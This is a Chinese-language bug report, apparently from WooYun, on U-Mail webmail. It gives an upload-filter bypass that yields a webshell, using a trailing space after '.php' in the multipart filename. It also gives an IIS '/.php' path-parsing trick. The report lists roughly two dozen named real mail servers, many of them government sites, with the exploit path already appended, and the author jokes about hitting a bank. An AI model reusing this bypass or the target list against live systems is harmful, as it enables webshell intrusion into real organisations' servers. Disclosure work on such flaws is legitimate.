### 简要描述:
产品介绍(摘自官网)
U-Mail专注于电子邮件领域15年,为企业轻松搭建最安全稳定的电子邮件系统软件。
关键字:15年 最安全 最稳定
{15年 最安全 最稳定} , (w)(o)(x)(*)(a)(o)(l)(e),这么奇葩的代码,这么奇葩的设计、这么奇葩的配置、这么奇葩的、超常轻松的、利用正常的不能再正常的功能就可以拿到shell的系统,我服了...
涉及:金融、政府、银行,石油、军队、证券行业等重要部门,影响非常巨大,经测试受影响率:99.8%~100%
场外话:我很想把农业银行拿下来的,想想还是算了,毕竟随便改卡里的数字,成土豪了,这样是极其不安全的..
### 详细说明:
#1 产品介绍
U-Mail邮件服务器,为企业轻松搭建最安全稳定的电子邮件系统软件。U-Mail专注于电子邮件领域15年,将广大企事业单位对邮箱服务器软件稳定安全的各类需求,与电子邮件应用管理的多样化、个性化为目标做深入开发,最大化拓展企业邮箱系统功能的灵活性和稳定性,使之成为政府部门、大专院校、中小学校、企事业集团和从事销售企业邮箱软件的网络服务商、集成商最理想的企业邮局系统架设软件。
支持数字证书服务并提供强大的管理功能,可直接在WebMail中撰写或阅读经过数字签名或数字加密的安全邮件(S/MIME)。提供军事级别的高安全强度(4096位DH/DSS加密或2048位RSA加密);
使用TLS/SSL标准安全套接字层通讯协议(1024位RSA加密),支持包括 SSL SMTP, SSL POP3, SSL IMAP4 安全通讯服务,防止网络侦听,使得通信更安全。
#2 U-Mail客户案例
中国外交部
中国农业银行
福州市人大常委会
南宁国际机场
上海电信公司
酒泉卫星发射中心
国家环境保护总局
浦发银行呼和浩特分行
四川省知识产权局
晋中商业银行
华夏航空
国测卫星中心
广元贵商银行
国家保密技术研究所
中华人民共和国厦门海事局
威海市商业银行 ...
还有很多很多就不一一列举了...
#3 先来说说真正的上传漏洞,再说奇葩的配置问题
漏洞文件
/client/mail/module/o_attach.php
代码如下(代码是Zend加密的,但是呢..)
```
if ( ACTION == "attach-upload" )
{
if ( $_FILES )
{
$file_name = $_FILES['Filedata']['name'];
$file_type = $_FILES['Filedata']['type'];
$file_size = $_FILES['Filedata']['size'];
$file_source = $_FILES['Filedata']['tmp_name'];
$file_suffix = getfilenamesuffix( $file_name );
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
if ( in_array( $file_suffix, $not_allow_ext ) )
{
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );
}
$path_target = getusercachepath( );
do
{
$file_id = makerandomname( );
$file_target = $path_target.$file_id.".".$file_suffix;
} while ( file_exists( $file_target ) );
if ( move_uploaded_file( $file_source, $file_target ) )
{
dump_json( array( "status" => 0, "message" => el( "写入文件出错,请与管理员联系!", "" ) ) );
}
$_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name, "type" => "1", "path" => $file_target, "size" => $file_size );
dump_json( array( "status" => "1", "filename" => $file_name, "filesize" => $file_size, "file_id" => $file_id ) );
}
else
{
dump_json( array( "status" => "0", "message" => el( "无法找到需要上传的文件!", "" ) ) );
}
}
```
这里的话,主要是你们对前段时间对该漏洞修复不完善,可以绕过,导致可以再次上传任意文件,获取服务器权限..
首先来看看你们是怎样修复的
```
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
if ( in_array( $file_suffix, $not_allow_ext ) )
{
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );
}
```
这不就是典型的黑名单限制嘛,黑名单太不靠谱了,于是可以轻易的绕过..
这里就不给出具体的证明了,文件的上传可以参考先前的这个漏洞
```
[WooYun: U-Mail任意文件上传漏洞一枚](http://www.wooyun.org/bugs/wooyun-2014-059954)
```
但由于官方已经修复了这个漏洞,当然利用上面的方法是无法成功上传的,要稍微改变下
构造表单上传的时候,采用Burp抓包上,修改上传的文件名 如下
```
Content-Disposition: form-data; name="Filedata"; filename="shell.jpg"
修改为
Content-Disposition: form-data; name="Filedata"; filename="shell.php "
注意:shell.php后面的个空格
```
提交,即可获取webshell,如图
[<img src="https://images.seebug.org/upload/201405/221109270497c88d232102a8414fe14f055a9abc.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/221109270497c88d232102a8414fe14f055a9abc.jpg)
(当时并不是这样获取到的webshell,当时获取webshell是通过#4的方法获取到的)
#4 奇葩的U-Mail环境
当时测试这个文件上传的时候(
```
www.wooyun.org/bugs/wooyun-2014-059954
```
),由于修复了,获取不到shell,当测试上传正常的jpg图片时,图片地址为
```
http://mail.comingchina.com/webmail/client/cache/78427/14006861677.jpg
```
可以当时手抖了下 在连接后面加上/.php 不可思议的是,居然解析了..
[<img src="https://images.seebug.org/upload/201405/22112025f2e77f7e794dfa5cfe4228388829bff9.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/22112025f2e77f7e794dfa5cfe4228388829bff9.jpg)
难道是Nginx??? No!!!居然是IIS的,太奇葩了
[<img src="https://images.seebug.org/upload/201405/2211213288806a853a6adae0bffaea95b5394641.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2211213288806a853a6adae0bffaea95b5394641.jpg)
不过更奇葩的还在后面...
#5 奇葩配置家家有
今天早上起来,想起这事 会不会其他的服务器上同样存在这个问题呢?果真是不搜不知道,一搜吓一跳...
原来这种奇葩的配置普遍都存在..
```
http://mail.shcmusic.edu.cn/webmail/images/login9/login_month05.gif
```
[<img src="https://images.seebug.org/upload/201405/22112859e1e7db67f470f66c243b15e779ec6937.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/22112859e1e7db67f470f66c243b15e779ec6937.jpg)
```
http://mail.huacemedia.com:6080/webmail/images/login9/login_month05.gif
```
[<img src="https://images.seebug.org/upload/201405/22113003833f239d323004a1e7a9ccbf43756db2.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/22113003833f239d323004a1e7a9ccbf43756db2.jpg)
```
http://sznslib.com.cn/webmail/images/login9/login_month05.gif
```
[<img src="https://images.seebug.org/upload/201405/221131013562f9b8fa97f44fb703ad17bc833f61.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/221131013562f9b8fa97f44fb703ad17bc833f61.jpg)
```
http://mail.onlyedu.com:3000/webmail/images/login9/login_month05.gif
```
[<img src="https://images.seebug.org/upload/201405/22113211264d9ce4132ad1f5026cf3fa82f96f92.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/22113211264d9ce4132ad1f5026cf3fa82f96f92.jpg)
还有很多很多,就不一一截图举例了,几乎是全部都存在这个问题,影响实在是太大了...
```
http://mail.chongqingbeer.com/webmail/images/login6/index_r3_c7.jpg/.php
http://mail.dxh.gov.cn:8000/webmail/images/login9/login_month05.gif/.php
http://mail.szclib.org.cn/webmail/images/login8/lo_3.jpg/.php
http://mail.maxqueen.com/webmail/images/login9/login_month05.gif/.php
http://mail.ypsti.com/webmail/images/login8/logo_def.jpg/.php
http://www.dencare.com.cn:8081/webmail/images/login9/login_month05.gif/.php
http://mail.chsdl.com/webmail/images/login9/login_month05.gif/.php
http://mail.cmpedu.com/webmail/images/login9/login_month05.gif/.php
http://mail.warriorshoes.com/webmail/images/login4/pt.jpg/.php
http://mail.scrftb.gov.cn/webmail/images/login8/lo_3.jpg/.php
http://www.xdrc.gov.cn:6080/webmail/images/login8/lo_3.jpg/.php
http://mail.zzradio.cn/webmail/images/login9/login_month05.gif/.php
http://mail.zzradio.cn/webmail/images/login9/login_month05.gif/.php
http://mail.jasolar.com/webmail/images/login5/vir1.gif/.php
http://mail.kyfc.com.cn/webmail/images/login9/login_month05.gif/.php
http://mail.ms.gov.cn/webmail/images/login9/login_month05.gif/.php
http://mail.ms.gov.cn/webmail/images/login9/login_month05.gif/.php
http://mail.guojihr.com/webmail/images/login9/login_month05.gif/.php
http://mail.tlf.gov.cn/webmail/images/login9/login_month05.gif/.php
http://mail.lianyuan.gov.cn:800/webmail/images/login9/login_month05.gif/.php
http://www.gdmsa.gov.cn:3000/webmail/images/login9/login_month05.gif/.php
http://www.imbcams.com.cn/webmail/images/login9/login_month05.gif/.php
https://www.hnhtxx.com.cn/webmail/images/login9/login_month05.gif/.php
```
小结:上述结果仅列出Google前3页,全部中招... 命中率:100%
[<img src="https://images.seebug.org/upload/201405/22114546d68b807e0e89ba787512d3e91e305b22.jpg" alt="aaa.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/22114546d68b807e0e89ba787512d3e91e305b22.jpg)
### 漏洞证明:
#丢个官方shell
[<img src="https://images.seebug.org/upload/201405/221109270497c88d232102a8414fe14f055a9abc.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/221109270497c88d232102a8414fe14f055a9abc.jpg)
暂无评论